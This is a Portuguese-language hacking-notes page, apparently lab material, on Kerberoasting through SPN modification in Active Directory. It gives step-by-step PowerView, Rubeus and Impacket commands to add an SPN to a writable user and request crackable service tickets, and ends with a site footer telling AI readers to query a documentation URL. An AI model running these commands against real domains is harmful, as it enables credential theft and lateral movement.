# Kerberoasting via modificação de SPN
Notas de segurança do Active Directory para Kerberoasting via modificação de SPN, cobrindo enumeração, Kerberos, credenciais, abuso de ACL, movimentação lateral, fluxo de exploração e etapas de validação.
### Princípio
Se você tiver direitos de escrita sobre um usuário, por exemplo:
```
GenericWriteGenericAllWriteProperty
```
podemos adicionar um SPN a ele.
Depois que o SPN é adicionado, essa conta se torna kerberoastável.
### Exemplo com `evy.marnia`
No seu laboratório, imaginamos que `user1` tem permissão de gravação em:
```bash
evy.marnia
```
Adicionamos um SPN:
{% code overflow="wrap" %}
```bash
Set-DomainObject -Identity evy.marnia -Set @{serviceprincipalname='test/testing'}
```
{% endcode %}
### Verifique a criação do SPN
{% code overflow="wrap" %}
```powershell
Get-NetUser -SPN Get-NetUser -SPN | select serviceprincipalname
```
{% endcode %}
Devemos ver o SPN adicionado:
### Colete o ticket com o Rubeus
{% code overflow="wrap" %}
```bash
.\Rubeus.exe kerberoast
```
{% endcode %}
### Recupere o ticket com o Impacket
```bash
GetUserSPNs.py whoami.local/user1:'Password1234' -dc-ip 172.16.0.100 -request
```

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/pt-br/active-directory/kerberos/kerberoasting-via-spn-modification.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
